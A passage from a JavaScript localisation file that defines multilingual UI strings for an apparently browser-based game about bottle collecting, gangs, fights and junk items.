    TxtNoNeedToEat[5] = "0.75 per mills or less do not reduce the figthing values,\nyou don't need to eat more!";
    TxtNoNeedToEat[6] = "0,75 или меньше промилле на силу не влияют, \nтебе не нужно больше есть!";
    TxtNoNeedToEat[7] = "0.75 per mills or less do not reduce the figthing values,\nyou don't need to eat more!";
var TxtNotEnoughToEat = new Array();
    TxtNotEnoughToEat[0] = 'Es ist nicht genügend zu essen da !!';
    TxtNotEnoughToEat[1] = "You don't have enough to eat !!";
    TxtNotEnoughToEat[2] = "You don't have enough to eat !!";
    TxtNotEnoughToEat[3] = "You don't have enough to eat !!";
    TxtNotEnoughToEat[4] = "No tienes suficiente para comer !!";
    TxtNotEnoughToEat[5] = "You don't have enough to eat !!";
    TxtNotEnoughToEat[6] = "Недостаточно еды!";
    TxtNotEnoughToEat[7] = "You don't have enough to eat !!";
var TxtNoJunkLeft = new Array();
    TxtNoJunkLeft[0] = "Vom benutzbaren Plunder '%s' ist leider nichts mehr übrig,\nDu musst ihn wieder sammeln. Er wird er aus der Direktleiste entfernt.";
    TxtNoJunkLeft[1] = "There's nothing left from the useable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft[2] = "There's nothing left from the useable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft[3] = "There's nothing left from the useable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft[4] = "There's nothing left from the useable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft[5] = "There's nothing left from the useable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft[6] = "‘%s’, который можно использовать, закончился, \nты должен собирать бутылки. Барахло будет удалено из панели.";
    TxtNoJunkLeft[7] = "There's nothing left from the useable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
var TxtNoJunkLeft2 = new Array();
    TxtNoJunkLeft2[0] = "Vom anlegbaren Plunder '%s' ist leider nichts mehr übrig,\nDu musst ihn wieder sammeln. Er wird er aus der Direktleiste entfernt.";
    TxtNoJunkLeft2[1] = "There's nothing left from the wearable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft2[2] = "There's nothing left from the wearable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft2[3] = "There's nothing left from the wearable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft2[4] = "There's nothing left from the wearable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft2[5] = "There's nothing left from the wearable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
    TxtNoJunkLeft2[6] = "‘%s’ закончилось, \nты должен собирать бутылки. Барахло будет удалено из панели.";
    TxtNoJunkLeft2[7] = "There's nothing left from the wearable junk '%s'.\nYou have to collect it again. It will be removed from the direct access list";
var TxtEquip = new Array();
    TxtEquip[0] = 'Anlegen';
    TxtEquip[1] = 'Equip';
    TxtEquip[2] = 'Załóż';
    TxtEquip[3] = 'Équiper';
    TxtEquip[4] = 'Encarar';
    TxtEquip[5] = 'Ativar';
    TxtEquip[6] = 'приложить';
    TxtEquip[7] = 'Equip';
var TxtUse = new Array();
    TxtUse[0] = 'Benutzen';
    TxtUse[1] = 'Use';
    TxtUse[2] = 'Użyj';
    TxtUse[3] = 'Utiliser';
    TxtUse[4] = 'Utilizar';
    TxtUse[5] = 'Usar';
    TxtUse[6] = 'использовать';
    TxtUse[7] = 'Use';
var TxtNoSkill = new Array();
    TxtNoSkill[0] = "Keine Weiterbildung";
    TxtNoSkill[1] = "No development";
    TxtNoSkill[2] = "Nie szkolenie";
    TxtNoSkill[3] = "Aucune formation";
    TxtNoSkill[4] = "Ningún cursillo";
    TxtNoSkill[5] = "No development";   // !!!!
    TxtNoSkill[6] = "обучения нет";
    TxtNoSkill[7] = "No development";
var TxtNoJunk = new Array();
    TxtNoJunk[0] = "Kein Plunder angelegt";
    TxtNoJunk[1] = "No junk equipped";
    TxtNoJunk[2] = "Nie masz rupieci";
    TxtNoJunk[3] = "Aucune babiole sélectionné";
    TxtNoJunk[4] = "Ningún cachivache encara";
    TxtNoJunk[5] = "No junk equipped";   // !!!!
    TxtNoJunk[6] = "барахло не приложено";
    TxtNoJunk[7] = "No junk equipped";
var TxtUseJunk = new Array();
    TxtUseJunk[0] = '%s: %s (noch %d Stück übrig)';
    TxtUseJunk[1] = '%s: %s (still %d pieces remaining)';
    TxtUseJunk[2] = '%s: %s (still %d pieces remaining)';
    TxtUseJunk[3] = '%s: %s (still %d pieces remaining)';
    TxtUseJunk[4] = '%s: %s (still %d pieces remaining)';
    TxtUseJunk[5] = '%s: %s (still %d pieces remaining)';
    TxtUseJunk[6] = '%s: %s (осталось еще %d штук)';
    TxtUseJunk[7] = '%s: %s (still %d pieces remaining)';
var TxtEquipThisJunk = new Array();
    TxtEquipThisJunk[0] = 'Dieser Plunder wird angelegt';
    TxtEquipThisJunk[1] = 'This junk can be equipped';
    TxtEquipThisJunk[2] = 'This junk can be equipped';
    TxtEquipThisJunk[3] = 'This junk can be equipped';
    TxtEquipThisJunk[4] = 'This junk can be equipped';
    TxtEquipThisJunk[5] = 'This junk can be equipped';
    TxtEquipThisJunk[6] = 'это барахло будет приложено';
    TxtEquipThisJunk[7] = 'This junk can be equipped';
var TxtUseThisJunk = new Array();
    TxtUseThisJunk[0] = 'Dieser Plunder wird benutzt';
    TxtUseThisJunk[1] = 'This junk can be used';
    TxtUseThisJunk[2] = 'This junk can be used';
    TxtUseThisJunk[3] = 'This junk can be used';
    TxtUseThisJunk[4] = 'This junk can be used';
    TxtUseThisJunk[5] = 'This junk can be used';
    TxtUseThisJunk[6] = 'это барахло будет использовано';
    TxtUseThisJunk[7] = 'This junk can be used';
var TxtReallyUseJunk = new Array();
    TxtReallyUseJunk[0] = "Soll der Plunder '%s' wirklich benutzt werden?\n\nHinweis: Durch die Benutzung wird er sofort verbraucht. Du hast\nderzeit noch %d Stück.";
    TxtReallyUseJunk[1] = "Do you really want to use the junk '%s'?\n\nNote: Using it will consume it. At the moment\nyou still have %d pieces.";
    TxtReallyUseJunk[2] = "Do you really want to use the junk '%s'?\n\nNote: Using it will consume it. At the moment\nyou still have %d pieces.";
    TxtReallyUseJunk[3] = "Do you really want to use the junk '%s'?\n\nNote: Using it will consume it. At the moment\nyou still have %d pieces.";
    TxtReallyUseJunk[4] = "Do you really want to use the junk '%s'?\n\nNote: Using it will consume it. At the moment\nyou still have %d pieces.";
    TxtReallyUseJunk[5] = "Do you really want to use the junk '%s'?\n\nNote: Using it will consume it. At the moment\nyou still have %d pieces.";
    TxtReallyUseJunk[6] = "Хочешь использовать ‘%s’ барахло? \n\nвнимание: после использования барахло исчезает. У тебя\nсейчас еще %d штук.";
    TxtReallyUseJunk[7] = "Do you really want to use the junk '%s'?\n\nNote: Using it will consume it. At the moment\nyou still have %d pieces.";
var TxtJunkUsed = new Array();
    TxtJunkUsed[0] = '%s wurde erfolgreich benutzt.';
    TxtJunkUsed[1] = '%s was successfully used.';
    TxtJunkUsed[2] = '%s was successfully used.';
    TxtJunkUsed[3] = '%s was successfully used.';
    TxtJunkUsed[4] = '%s was successfully used.';
    TxtJunkUsed[5] = '%s was successfully used.';
    TxtJunkUsed[6] = '%s было успешно использовано.';
    TxtJunkUsed[7] = '%s was successfully used.';
var TxtJunkNoSucc = new Array();
    TxtJunkNoSucc[0] = "%s konnte nicht benutzt werden.";
    TxtJunkNoSucc[1] = "%s could not successfully be used.";
var TxtJunkSucc = new Array();
    TxtJunkSucc[0] = "%s wurde %dmal erfolgreich benutzt.";
    TxtJunkSucc[1] = "%s was successfully used %d times.";
var TxtPlayerName = new Array();
    TxtPlayerName[0] = "Auf welchen Spieler soll der Plunder angewendet werden ?\n\nSpielername: ";
var TxtNoProfAbility = new Array();
    TxtNoProfAbility[0] = "Du profitierst nicht von der Bandenfähigkeit";
    TxtNoProfAbility[1] = "You don't profit from the gang ability";
    TxtNoProfAbility[2] = "Nie zyskujesz na talentach bandy";
    TxtNoProfAbility[3] = "You don't profit from the gang ability";
    TxtNoProfAbility[4] = "You don't profit from the gang ability";
    TxtNoProfAbility[5] = "You don't profit from the gang ability";
    TxtNoProfAbility[6] = "Способности банды тебе не приносят пользу";
    TxtNoProfAbility[7] = "You don't benefit from the gang ability";
var TxtAlertNoGang = new Array();
    TxtAlertNoGang[0] = "ACHTUNG!! Du bist nicht mehr in einer Bande !!";
    TxtAlertNoGang[1] = "ATTENTION !! You are no longer member of a gang !!";
    TxtAlertNoGang[2] = "ATTENTION !! You are no longer member of a gang !!";
    TxtAlertNoGang[3] = "ATTENTION !! You are no longer member of a gang !!";
    TxtAlertNoGang[4] = "ATTENTION !! You are no longer member of a gang !!";
    TxtAlertNoGang[5] = "ATTENTION !! You are no longer member of a gang !!";
    TxtAlertNoGang[6] = "ВНИМАНИЕ!! Ты больше не в банде !!";
    TxtAlertNoGang[7] = "ATTENTION !! You are no longer member of a gang !!";
var TxtLogout = new Array();
    TxtLogout[0] = "Ausloggen ?";
    TxtLogout[1] = "Logout ?";
    TxtLogout[2] = "Wyloguj ?";
    TxtLogout[3] = "Déconnexion ?";
    TxtLogout[4] = "Salir ?";
    TxtLogout[5] = "Logout ?";
    TxtLogout[6] = "Выйти ?";
    TxtLogout[7] = "Logout ?";
var TxtLogoutWarn1 = new Array();
    TxtLogoutWarn1[0] = "Achtung !! Du bist noch betrunken !!";
    TxtLogoutWarn1[1] = "Warning !! You are still drunk !!";
    TxtLogoutWarn1[2] = "Warning !! You are still drunk !!";
    TxtLogoutWarn1[3] = "Warning !! You are still drunk !!";
    TxtLogoutWarn1[4] = "Warning !! You are still drunk !!";
    TxtLogoutWarn1[5] = "Warning !! You are still drunk !!";
    TxtLogoutWarn1[6] = "Внимание!! Ты еще пьяный !!";
    TxtLogoutWarn1[7] = "Warning !! You are still drunk !!";
var TxtLogoutWarn2 = new Array();
    TxtLogoutWarn2[0] = "Achtung !! Du hast nicht Deine volle Kampfstärke !!";
    TxtLogoutWarn2[1] = "Warning !! You do not have your full possible fighting power !!";
    TxtLogoutWarn2[2] = "Warning !! You do not have your full possible fighting power !!";
    TxtLogoutWarn2[3] = "Warning !! You do not have your full possible fighting power !!";
    TxtLogoutWarn2[4] = "Warning !! You do not have your full possible fighting power !!";
    TxtLogoutWarn2[5] = "Warning !! You do not have your full possible fighting power !!";
    TxtLogoutWarn2[6] = "Внимание !! У тебя еще не полная сила !!";
    TxtLogoutWarn2[7] = "Warning !! You do not have your full possible fighting power !!";
var TxtCart = new Array();
    TxtCart[0] = "Einkaufswagen ausleeren";
    TxtCart[1] = "Empty cart";
    TxtCart[2] = "Opróżnij wózek na zakupy";
    TxtCart[3] = "Vider ton caddie";
    TxtCart[4] = "Vaciar el carro de la compra";
    TxtCart[5] = "Esvaziar carrinho de compras";
    TxtCart[6] = "Разгрузить тележку";
    TxtCart[7] = "Empty cart";
var TxtCart2 = new Array();
    TxtCart2[0] = "Flaschensammeln starten";
    TxtCart2[1] = "start collecting bottles";
    TxtCart2[2] = "start collecting bottles";
    TxtCart2[3] = "start collecting bottles";
    TxtCart2[4] = "start collecting bottles";
    TxtCart2[5] = "start collecting bottles";
    TxtCart2[6] = "начать собирать бутылки";
    TxtCart2[7] = "start collecting bottles";
var TxtCart3 = new Array();
    TxtCart3[0] = "Flaschen werden gesammelt";
    TxtCart3[1] = "collecting bottles";
    TxtCart3[2] = "collecting bottles";
    TxtCart3[3] = "collecting bottles";
    TxtCart3[4] = "collecting bottles";
    TxtCart3[5] = "collecting bottles";
    TxtCart3[6] = "бутылки собираются";
    TxtCart3[7] = "collecting bottles";
var TxtCollFinish = new Array();
    TxtCollFinish[0] = "Das Flaschensammeln wurde beendet";
    TxtCollFinish[1] = "The collecting of bottles was finished";
    TxtCollFinish[2] = "The collecting of bottles was finished";
    TxtCollFinish[3] = "The collecting of bottles was finished";
    TxtCollFinish[4] = "The collecting of bottles was finished";
    TxtCollFinish[5] = "The collecting of bottles was finished";
    TxtCollFinish[6] = "бутылки собраны";
    TxtCollFinish[7] = "The collecting of bottles was finished";
var TxtCrime = new Array();
    TxtCrime[0] = "Du planst ein Verbrechen!";
    TxtCrime[1] = "You're planning a crime!";
    TxtCrime[2] = "You're planning a crime!";
    TxtCrime[3] = "You're planning a crime!";
    TxtCrime[4] = "You're planning a crime!";
    TxtCrime[5] = "You're planning a crime!";
    TxtCrime[6] = "Ты задумал преступление!";
    TxtCrime[7] = "You're planning a crime!";
var TxtCrimePro = new Array();
    TxtCrimePro[0] = " ACHTUNG !! Betrunken wird das Verbrechen nicht gelingen!!";
    TxtCrimePro[1] = " Attention !! You are drunk and you will have no success with the crime!!";
    TxtCrimePro[2] = " Attention !! You are drunk and you will have no success with the crime!!";
    TxtCrimePro[3] = " Attention !! You are drunk and you will have no success with the crime!!";
    TxtCrimePro[4] = " Attention !! You are drunk and you will have no success with the crime!!";
    TxtCrimePro[5] = " Attention !! You are drunk and you will have no success with the crime!!";
    TxtCrimePro[6] = " ВНИМАНИЕ !! Если ты пьян, преступление не удастся!!";
    TxtCrimePro[7] = " Attention !! You are drunk and you will have no success with the crime!!";
var TxtFight = new Array();
    TxtFight[0] = "Du hast einen Kampf gestartet gegen %s!";
    TxtFight[1] = "You started a fight against %s!";
    TxtFight[2] = "You started a fight against %s!";
    TxtFight[3] = "You started a fight against %s!";
    TxtFight[4] = "You started a fight against %s!";
    TxtFight[5] = "You started a fight against %s!";
    TxtFight[6] = "Ты начал бой против %s!";
    TxtFight[7] = "You started a fight against %s!";
var TxtWeakFight = new Array();
    TxtWeakFight[0] = "Achtung! Angriff läuft und Kampfwert ist nicht maximal !!";
    TxtWeakFight[1] = "Attention! You started an attack but your fight value is not on maximum !!";
var TxtEmptied = new Array();
    TxtEmptied[0] = "Einkaufswagen ausgeleert. Du hast %d Flaschen gesammelt.";
    TxtEmptied[1] = "Cart emptied! You found %d bottles.";
    TxtEmptied[2] = "Cart emptied! You found %d bottles.";
    TxtEmptied[3] = "Cart emptied! You found %d bottles.";
    TxtEmptied[4] = "Cart emptied! You found %d bottles.";
    TxtEmptied[5] = "Cart emptied! You found %d bottles.";
    TxtEmptied[6] = "Корзина разгружена. Ты собрал %d бутылок.";
    TxtEmptied[7] = "Cart emptied! You found %d bottles.";
var TxtDaily = new Array();
    TxtDaily[0] = "Tägliche Aufgabe";
    TxtDaily[1] = "Daily tasks";
    TxtDaily[2] = "Zadanie dnia";
    TxtDaily[3] = "Tâche journalière";
    TxtDaily[4] = "Tarea diaria";
    TxtDaily[5] = "Tarefa diária";
    TxtDaily[6] = "Сегодняшнее задание";
    TxtDaily[7] = "Daily tasks";
var TxtCards = new Array();
    TxtCards[0] = "Deine Sammelkarten: ";
    TxtCards[1] = "Your Credits: ";
    TxtCards[2] = "Twoje znaczki: ";
    TxtCards[3] = "Tes jetons: ";
    TxtCards[4] = "Tus fichas: ";
    TxtCards[5] = "Seu álbum de comprovantes: ";
    TxtCards[6] = "Твои карточки: ";
    TxtCards[7] = "Your Credits: ";
var TxtEnd = new Array();
    TxtEnd[0] = ', Ende: ';
    TxtEnd[1] = ', End: ';
    TxtEnd[2] = ', Zakończ: ';
    TxtEnd[3] = ', Fin: ';
    TxtEnd[4] = ', End: ';
    TxtEnd[5] = ', End: ';
    TxtEnd[6] = ', Конец: ';
    TxtEnd[7] = ', End: ';
var TxtInfo = new Array();
    TxtInfo[0] = 'Info ist an --> Ausschalten';
    TxtInfo[1] = 'Info is on --> Switch off';
    TxtInfo[2] = 'Info is on --> Switch off';
    TxtInfo[3] = 'Info is on --> Switch off';
    TxtInfo[4] = 'Info is on --> Switch off';
    TxtInfo[5] = 'Info is on --> Switch off';
    TxtInfo[6] = 'Информация включена —> Выключить';
    TxtInfo[7] = 'Info is on --> Switch off';
var TxtNoInfo = new Array();
    TxtNoInfo[0] = 'Info ist aus --> Einschalten';
    TxtNoInfo[1] = 'Info is off --> Switch on';
    TxtNoInfo[2] = 'Info is off --> Switch on';
    TxtNoInfo[3] = 'Info is off --> Switch on';
    TxtNoInfo[4] = 'Info is off --> Switch on';
    TxtNoInfo[5] = 'Info is off --> Switch on';
    TxtNoInfo[6] = 'Информация выключена —> Включить';
    TxtNoInfo[7] = 'Info is off --> Switch on';
var TxtNoteOnPage = new Array();
    TxtNoteOnPage[0] = 'Zum gemerkten SB-Eintrag auf Seite %d gehen';
    TxtNoteOnPage[1] = 'Go to the pinned shoutbox entry on page %d';
    TxtNoteOnPage[2] = 'Go to the pinned shoutbox entry on page %d';
    TxtNoteOnPage[3] = 'Go to the pinned shoutbox entry on page %d';
    TxtNoteOnPage[4] = 'Go to the pinned shoutbox entry on page %d';
    TxtNoteOnPage[5] = 'Go to the pinned shoutbox entry on page %d';
    TxtNoteOnPage[6] = 'Для сохраненной шаутбокс-записи перейти на %d страницу.';
    TxtNoteOnPage[7] = 'Go to the pinned shoutbox entry on page %d';
var TxtOwnGang = new Array();
    TxtOwnGang[0] = 'Du greifst ein Mitglied Deiner eigenen Bande an !!';
    TxtOwnGang[1] = 'You attack a member of your own gang !!';
    TxtOwnGang[2] = 'You attack a member of your own gang !!';
    TxtOwnGang[3] = 'You attack a member of your own gang !!';
    TxtOwnGang[4] = 'You attack a member of your own gang !!';
    TxtOwnGang[5] = 'You attack a member of your own gang !!';
    TxtOwnGang[6] = 'Ты атакуешь игрока из твоей банды!!';
    TxtOwnGang[7] = 'You attack a member of your own gang !!';
var TxtAlliedGang = new Array();
    TxtAlliedGang[0] = 'Du greifst ein Mitglied einer befreundeten Bande an !!';
    TxtAlliedGang[1] = 'You attack a member of an allied gang !!';
    TxtAlliedGang[2] = 'You attack a member of an allied gang !!';
    TxtAlliedGang[3] = 'You attack a member of an allied gang !!';
    TxtAlliedGang[4] = 'You attack a member of an allied gang !!';
    TxtAlliedGang[5] = 'You attack a member of an allied gang !!';
    TxtAlliedGang[6] = 'Ты атакуешь игрока который дружит с твоей бандой!!';
    TxtAlliedGang[7] = 'You attack a member of an allied gang !!';
var TxtMultiPlunder = new Array();
    TxtMultiPlunder[0] = ' Wie oft soll der Plunder benutzt werden ?';
    TxtMultiPlunder[1] = ' How many times do you want to use the plunder ?';
var TxtMultiPlunder1 = new Array();
    TxtMultiPlunder1[0] = 'Dieser Plunder ist %d mal vorhanden.';
    TxtMultiPlunder1[1] = 'You possess this plunder %d times.';
var TxtMultiPlunder2 = new Array();
    TxtMultiPlunder2[0] = 'Bitte nur eine Zahl (höchstens %d) eingeben.';
    TxtMultiPlunder2[1] = 'Please enter a number (at most %d).';
var TxtMultiPlunder3 = new Array();
    TxtMultiPlunder3[0] = 'So oft ist der Plunder nicht vorhanden (%d).';
    TxtMultiPlunder3[1] = 'You do not possess this plunder so many times (%d).';
var TxtWiWut = new Array();
    TxtWiWut[0] = new Array('Wutentfachung', 'Rage', 'Wzbudzanie złości', 'Rage',
                            'Enfurecimiento', 'Enraivecimento', 'Разжигание ярости', 'Rage');
    TxtWiWut[1] = new Array('Wirtschaftswunder', 'Economic wonder', 'Cud gospodarczy', 'Miracle économique',
                            'Milagro económico', 'Milagre econômico', 'Экономическое чудо', 'Economic wonder');
var TxtNiete = new Array();
    TxtNiete[0] = "Niete";
    TxtNiete[1] = "Blank";
var TxtTotalWon = new Array();
    TxtTotalWon[0] = "Gewinn gesamt: %m bei einem Einsatz von %m, Ergebnis: %m";
    TxtTotalWon[1] = "totally won: %m at a stake of %m leaves a balance of %m";
var TxtAuszeichnung = new Array();
    TxtAuszeichnung[0] = "Auszeichnung";
    TxtAuszeichnung[1] = "Award";
    TxtAuszeichnung[2] = "Odznaczenie";
    TxtAuszeichnung[3] = "Décoration";
    TxtAuszeichnung[4] = "Reconocimiento";
    TxtAuszeichnung[5] = "Prêmio";
    TxtAuszeichnung[6] = "награ́да";
    TxtAuszeichnung[7] = "Award";

// Ingame Texte
var TxtEstimated = new Array();
    TxtEstimated[0] = "Voraussichtlich";
    TxtEstimated[1] = "estimated";
    TxtEstimated[2] = "Przewidzianych";
    TxtEstimated[3] = "sont prévus";
    TxtEstimated[4] = "Probablemente";
    TxtEstimated[5] = "Provavelmente";
    TxtEstimated[6] = "Приблизительно";
    TxtEstimated[7] = "Estimated";

var TxtTrikot = new Array();
    TxtTrikot[0] = "Trikot";
    TxtTrikot[1] = "Jersey";
    TxtTrikot[2] = "Koszulka";
    TxtTrikot[3] = "Jersey";
    TxtTrikot[4] = "Jersey";
    TxtTrikot[5] = "Camisa";
    TxtTrikot[6] = "Jersey";   // !!!!
    TxtTrikot[7] = "Jersey";   // !!!!

var TxtRunAttack = new Array();
    TxtRunAttack[0] = "uft bereits auf";
    TxtRunAttack[1] = "Already accumulated attacks";
    TxtRunAttack[2] = "Atak ju";
    TxtRunAttack[3] = "Attaque en cours";
    TxtRunAttack[4] = "El ataque ya ha";
    TxtRunAttack[5] = "O ataque j";
    TxtRunAttack[6] = "Атака уже пошла";
    TxtRunAttack[7] = "Attack is underway";

var TxtNoGangFights = new Array();
    TxtNoGangFights[0] = "Keine laufenden";
    TxtNoGangFights[1] = "No current";
    TxtNoGangFights[2] = "Nie ma toczących sie walk";
    TxtNoGangFights[3] = "Aucun combat en cours";
    TxtNoGangFights[4] = "No hay luchas de bandas en curso";
    TxtNoGangFights[5] = "nenhuma luta acontecendo";
    TxtNoGangFights[6] = "Действующих разборок нет";
    TxtNoGangFights[7] = "No current";

var TxtBoost = new Array();
    TxtBoost[0] = 'Stärkung:';
    TxtBoost[1] = 'Strenth';
    TxtBoost[2] = 'Wzmocnienie:';
    TxtBoost[3] = 'Renforcement :';
    TxtBoost[4] = 'Fortalecimiento:';
    TxtBoost[5] = 'Força:';
    TxtBoost[6] = 'Подкрепление:';
    TxtBoost[7] = 'Strength';
var TxtInjury = new Array();
    TxtInjury[0] = 'Verletzung:';
    TxtInjury[1] = 'Strenth';
    TxtInjury[2] = 'Wzmocnienie:';
    TxtInjury[3] = 'Renforcement :';
    TxtInjury[4] = 'Herida:';
    TxtInjury[5] = 'Força:';
    TxtInjury[6] = 'Подкрепление:';
    TxtInjury[7] = 'Strength';
var TxtATTBoost = new Array();
    TxtATTBoost[0] = 'ATT: ';
    TxtATTBoost[1] = 'ATT: ';
    TxtATTBoost[2] = 'ATT: ';
    TxtATTBoost[3] = 'ATT: ';
    TxtATTBoost[4] = 'ATT: ';
    TxtATTBoost[5] = 'ATT: ';
    TxtATTBoost[6] = 'Aтака: ';
    TxtATTBoost[7] = 'ATT: ';
var TxtDEFBoost = new Array();
    TxtDEFBoost[0] = 'DEF: ';
    TxtDEFBoost[1] = 'DEF: ';
    TxtDEFBoost[2] = 'DEF: ';
    TxtDEFBoost[3] = 'DEF: ';
    TxtDEFBoost[4] = 'DEF: ';
    TxtDEFBoost[5] = 'DEF: ';
    TxtDEFBoost[6] = 'DEF: ';
    TxtDEFBoost[7] = 'DEF: ';
var TxtBuyPet = new Array();
    TxtBuyPet[0] = 'Begleiter kaufen';
    TxtBuyPet[1] = 'Buy New Pet';
    TxtBuyPet[2] = 'Kup nowego zwierzaka';
    TxtBuyPet[3] = 'Acheter un nouvel animal';
    TxtBuyPet[4] = 'Comprar una mascota nueva';
    TxtBuyPet[5] = 'Comprar novo animal de estimação';
    TxtBuyPet[6] = 'Купить нового питомца';
    TxtBuyPet[7] = 'Buy new pet';
var TxtBuyWeapon = new Array();
    TxtBuyWeapon[0] = 'Zum Waffenladen';
    TxtBuyWeapon[1] = 'To Weapon store';
    TxtBuyWeapon[2] = 'do sklepu z bronią';
    TxtBuyWeapon[3] = "Au magasin d'armes";
    TxtBuyWeapon[4] = 'Ir a la tienda de armas';
    TxtBuyWeapon[5] = 'Para o depósito de armas';
    TxtBuyWeapon[6] = 'К оружейному магазину';
    TxtBuyWeapon[7] = 'Go to weapon shop';
var TxtBought = new Array();
    TxtBought[0] = 'Gekauft';
    TxtBought[1] = 'Bought';
    TxtBought[2] = 'Kupiony';
    TxtBought[3] = 'Utiliser';
    TxtBought[4] = 'Comprado';
    TxtBought[5] = 'Comprado';
    TxtBought[6] = 'Куплено';
    TxtBought[7] = 'Bought';
var TxtDefBought = new Array();
    TxtDefBought[0] = 'Abbrechen';
    TxtDefBought[1] = 'Cancelled';
    TxtDefBought[2] = 'Anuluj';
    TxtDefBought[3] = 'Annuler';
    TxtDefBought[4] = 'Interrumpir';
    TxtDefBought[5] = 'Cancelar';
    TxtDefBought[6] = 'Отменить';
    TxtDefBought[7] = 'Cancel';
var TxtSelected = new Array();
    TxtSelected[0] = 'Ausgewählt';
    TxtSelected[1] = 'Selected';
    TxtSelected[2] = 'Wybrany';
    TxtSelected[3] = 'Sélectionné';
    TxtSelected[4] = 'Escogido';
    TxtSelected[5] = 'Selecionado';
    TxtSelected[6] = 'Выбрано';
    TxtSelected[7] = 'Selected';
var TxtPiece = new Array();
    TxtPiece[0] = ' Stück</td>';
    TxtPiece[1] = ' Piece</td>';
    TxtPiece[2] = ' Sztuk</td>';
    TxtPiece[3] = ' Unités</td>';
    TxtPiece[4] = ' pieza</td>';
    TxtPiece[5] = ' Unidade(s)</td>';
    TxtPiece[6] = ' Штука</td>';
    TxtPiece[7] = ' Piece</td>';
var TxtArmoury = new Array();
    TxtArmoury[0] = 'Waffenkammer';
    TxtArmoury[1] = '<td>Armoury';
    TxtArmoury[2] = 'Magazyn broni';
    TxtArmoury[3] = "Salle d'armes";
    TxtArmoury[4] = 'Armería';
    TxtArmoury[5] = '<td>Depósito de armas';
    TxtArmoury[6] = '<td>Арсенал';
    TxtArmoury[7] = '<td>Armoury';
var TxtHouse = new Array();
    TxtHouse[0] = 'Bandenhaus';
    TxtHouse[1] = 'Safe House';
    TxtHouse[2] = 'Siedziba bandy';
    TxtHouse[3] = 'Quartier général de la bande';
    TxtHouse[4] = 'Casa de la banda';
    TxtHouse[5] = 'Sede da gangue';
    TxtHouse[6] = 'Дом банды';
    TxtHouse[7] = 'Gang lair';
var TxtOccupied = new Array();
    TxtOccupied[0] = 'Bewohnt';
    TxtOccupied[1] = 'Occupied';
    TxtOccupied[2] = 'Zamieszkany';
    TxtOccupied[3] = 'Habité';
    TxtOccupied[4] = 'Habitado';
    TxtOccupied[5] = 'Habitado';
    TxtOccupied[6] = 'Ты живешь здесь';
    TxtOccupied[7] = 'Occupied';
var TxtMoveIn = new Array();
    TxtMoveIn[0] = 'Einziehen';
    TxtMoveIn[1] = 'Go to';
    TxtMoveIn[2] = 'Idż';
    TxtMoveIn[3] = 'Emménager';
    TxtMoveIn[4] = 'Mudarme';
    TxtMoveIn[5] = 'Mudar';
    TxtMoveIn[6] = 'вселиться';
    TxtMoveIn[7] = 'Move in';
var TxtBeer1 = new Array();
    TxtBeer1[0] = 'Bier';
    TxtBeer1[1] = 'beer';
    TxtBeer1[2] = 'piwa';
    TxtBeer1[3] = 'vin';
    TxtBeer1[4] = 'calimocho';
    TxtBeer1[5] = 'cerveja';
    TxtBeer1[6] = 'Пиво';
    TxtBeer1[7] = 'lager';
var TxtBeer2 = new Array();
    TxtBeer2[0] = 'Limo';
    TxtBeer2[1] = 'beer';
    TxtBeer2[2] = 'piwa';
    TxtBeer2[3] = 'vin';
    TxtBeer2[4] = 'calimocho';
    TxtBeer2[5] = 'cerveja';
    TxtBeer2[6] = 'Пиво';
    TxtBeer2[7] = 'lager';
var TxtAbility1 = new Array();
    TxtAbility1[0] = 'Eine F&auml;higkeit wurde bereits aktiviert';
    TxtAbility1[1] = 'An ability has already been activated';
    TxtAbility1[2] = ' zdolności jest już rozpoczęte';
    TxtAbility1[3] = 'An ability has already been activated';    // <--- dieser Text muss noch korrigiert werden
    TxtAbility1[4] = 'Te hemos activado una habilidad';
    TxtAbility1[5] = 'An ability has already been activated';   // !!!!
    TxtAbility1[6] = 'Одна способность уже активирована';
    TxtAbility1[7] = 'One ability is already active';
var TxtAbility2 = new Array();
    TxtAbility2[0] = ' und l&auml;uft noch bis ';
    TxtAbility2[1] = ' and runs to  ';
    TxtAbility2[2] = ' jeszcze do ';
    TxtAbility2[3] = ' and runs to  ';    // <--- dieser Text muss noch korrigiert werden
    TxtAbility2[4] = ' y esta dura hasta ';
    TxtAbility2[5] = ' and runs to  ';   // !!!!
    TxtAbility2[6] = ' и действует до ';
    TxtAbility2[7] = ' until  ';
var TxtNoGangAbility = new Array();
    TxtNoGangAbility[0] = "Du profitierst nicht";
    TxtNoGangAbility[1] = "You don't profit";
    TxtNoGangAbility[2] = "Nie zyskujesz na talentach";
    TxtNoGangAbility[3] = "Vous n'en profitez pas";
    TxtNoGangAbility[4] = "You don't profit";    // <--- dieser Text muss noch korrigiert werden
    TxtNoGangAbility[5] = "You don't profit";   // !!!!
    TxtNoGangAbility[6] = "способности банды тебе не приносят пользу";
    TxtNoGangAbility[7] = "You don't benefit";
var TxtIncrease = new Array();
    TxtIncrease[0] = 'Erhöht';
    TxtIncrease[1] = 'Increases';
    TxtIncrease[2] = 'Wzrost';
    TxtIncrease[3] = 'Increases';
    TxtIncrease[4] = 'Aumenta';
    TxtIncrease[5] = 'Increases';   // !!!!
    TxtIncrease[6] = 'шает';
    TxtIncrease[7] = 'Increases';
var TxtIncrATT = new Array();
    TxtIncrATT[0] = 'Angriff';
    TxtIncrATT[1] = 'attack';
    TxtIncrATT[2] = 'atak';
    TxtIncrATT[3] = 'ataque';
    TxtIncrATT[4] = 'ataque';
    TxtIncrATT[5] = 'attack';   // !!!!
    TxtIncrATT[6] = 'Атаку';
    TxtIncrATT[7] = 'attack';
var TxtIncrDEF = new Array();
    TxtIncrDEF[0] = 'Verteidigung';
    TxtIncrDEF[1] = 'defense';
